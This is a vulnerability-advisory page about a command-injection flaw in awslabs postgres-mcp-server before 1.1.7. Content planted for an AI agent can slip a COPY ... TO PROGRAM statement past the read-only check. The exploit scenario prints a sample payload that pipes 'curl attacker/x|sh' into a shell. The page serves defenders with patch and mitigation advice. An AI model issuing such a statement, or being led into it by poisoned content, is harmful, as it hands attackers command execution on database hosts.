Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessPlant crafted COPY TO PROGRAM in content
-
DeliveryAuthenticated user queries MCP server
-
ExploitRead-only validation fails to block COPY
-
ExecutionStatement reaches self-managed PostgreSQL
-
PersistPROGRAM clause spawns shell as postgres user
-
ImpactArbitrary command execution on DB host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires the target to run awslabs postgres-mcp-server before 1.1.7 connected to a self-managed PostgreSQL server whose database account can invoke COPY ... TO PROGRAM (i.e. superuser or pg_execute_server_program privileges - managed services like RDS/Aurora that disable this are not exploitable). Exploitation proceeds even in the default read-only mode. Limiting factors: the malicious COPY statement only executes when an authenticated user (or agent) interacts with the MCP server on attacker-influenced content (CVSS UI:P), and a specific attack precondition must be met (CVSS AT:P), so this is an indirect/content-poisoning vector rather than a direct unauthenticated network hit. |
| Impact | The supplied CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:N/UI:P, base 9.0) with VC/VI/VA:H and subsequent-system SC/SI/SA:H reflects full host compromise, but two metrics materially temper real-world risk: UI:P (a legitimate authenticated user must interact with the MCP server on the poisoned content) and AT:P (a specific attack requirement/precondition must hold). This is not a straight unauthenticated internet-facing RCE - PR:N describes the actor who plants the crafted COPY statement, while the payload only fires when an authorized user or agent processes that content, making it an indirect / data-poisoning style vector well suited to AI-agent workflows. No EPSS score, KEV listing, or POC was provided, so there is no evidence of active exploitation or a published exploit. It is a genuine RCE worth prompt patching given the trivial COPY TO PROGRAM technique, but the required user interaction, the self-managed-PostgreSQL precondition, and the relatively narrow deployment footprint place it below internet-scale wormable threats. |
| Exploit ScenarioDerived | An attacker seeds a data source, document, or prompt with a crafted COPY (SELECT 1) TO PROGRAM 'curl attacker/x|sh' statement. When an authenticated user or AI agent later queries the postgres-mcp-server in its default read-only mode, the validation layer passes the COPY statement to the self-managed PostgreSQL server, which executes the shell command as the postgres OS user - giving the attacker code execution on the database host. No public exploit code was identified, but the underlying COPY TO PROGRAM technique is well known. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 09, 2026
Remote code execution in Amazon awslabs postgres-mcp-server before 1.1.7 lets remote actors run arbitrary OS commands on the host of a self-managed PostgreSQL server, even in the server's default read-only mode. The read-only enforcement in the SQL validation component fails to reject PostgreSQL's COPY ... TO PROGRAM construct, so a crafted statement embedded in content processed when an authenticated user interacts with the MCP server executes shell commands on the database host. No public exploit identified at time of analysis; the flaw is fixed in 1.1.7 and documented in AWS bulletin 2026-104 and GHSA-fph8-pg5w-78fv.
RemediationAI
Vendor-released patch: 1.1.7. Upgrade the awslabs.postgres-mcp-server package to 1.1.7 or later (e.g. pip install --upgrade 'awslabs.postgres-mcp-server>=1.1.7') as the primary fix, per AWS bulletin 2026-104 and GHSA-fph8-pg5w-78fv. As compensating controls until patched: run the connected PostgreSQL under a low-privilege role that lacks pg_execute_server_program / superuser so COPY TO PROGRAM is rejected by the database itself (trade-off: verify no legitimate workflow relies on COPY TO/FROM PROGRAM); prefer managed PostgreSQL (e.g. Amazon RDS/Aurora) where COPY TO PROGRAM is disabled (trade-off: not applicable to existing self-managed deployments); and treat/sanitize any external content fed into the MCP server so untrusted COPY ... TO PROGRAM statements cannot reach the validator (trade-off: hard to enforce reliably, which is why upgrading is preferred).
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The component is an MCP (Model Context Protocol) server published by awslabs (Amazon) that exposes a PostgreSQL database to AI/agent clients, advertising a default read-only mode enforced by a SQL validation layer. The root cause (CWE-78, OS Command Injection) is that this validation does not account for PostgreSQL's COPY ... TO PROGRAM feature, which by design pipes query output to an arbitrary shell command executed by the postgres OS account on a self-managed server. Because the read-only classifier treats COPY as a benign/read operation, a statement like COPY (SELECT 1) TO PROGRAM 'command' slips past the guardrail and reaches the database, converting a SQL surface into host command execution. This is the classic COPY TO PROGRAM RCE primitive, made reachable here through the MCP tool interface rather than a direct psql session.
Know when PostgreSQL gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Attacker plants content remotely (AV:N/PR:N) but payload fires only when a legitimate user interacts (UI:R); MCP validation flaw yields command execution on the separate PostgreSQL host (S:C, C/I/A:H).
Primary rating from Vendor (ff89ba41-3aa1-4d27-914a-91399e9639e5).
CVSS VectorVendor: ff89ba41-3aa1-4d27-914a-91399e9639e5
Lifecycle Timeline
2DescriptionCVE.org
An OS command injection weakness in the read-only enforcement of the SQL validation component in Amazon awslabs postgres-mcp-server before 1.1.7 might allow an unauthenticated actor to execute operating system commands on the host of a self-managed PostgreSQL server by placing a crafted COPY ... TO PROGRAM statement into content that is processed when an authenticated user interacts with the MCP server in its default read-only mode.
To remediate this issue, users should upgrade to version 1.1.7 or later.
Articles & Coverage 1
Technical POC Analysis
The vulnerable component is the SQL validation / read-only enforcement logic in awslabs.postgres-mcp-server before 1.1.7.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Latest POC
1 PoC candidate from github (unverified)
Sign in to open the public PoC links collected for this CVE.
Executive ViewAI
Amazon's postgres-mcp-server before version 1.1.7 contains a critical SQL validation bypass that allows authenticated users to execute arbitrary operating system commands on PostgreSQL database hosts. Organizations deploying this MCP server face remote code execution risk on their database infrastructure, potentially enabling unauthorized data access, system compromise, or service disruption even when read-only mode is configured.
Apply vendor patch (version 1.1.7 or later). Until patching is complete, restrict network access to postgres-mcp-server to known trusted application endpoints and disable the service if not actively required.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
More in PostgreSQL
View allPostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re
Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.
Unauthenticated SQL injection in Sangoma Switchvox SMB Edition 8.3 (build 104997) lets remote attackers execute arbitrar
PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow
The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t
A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra
In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve
Unauthenticated SQL injection in Vendure Shop API allows remote attackers to execute arbitrary SQL commands against the
Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot
Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al
EUVD-2026-75127
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB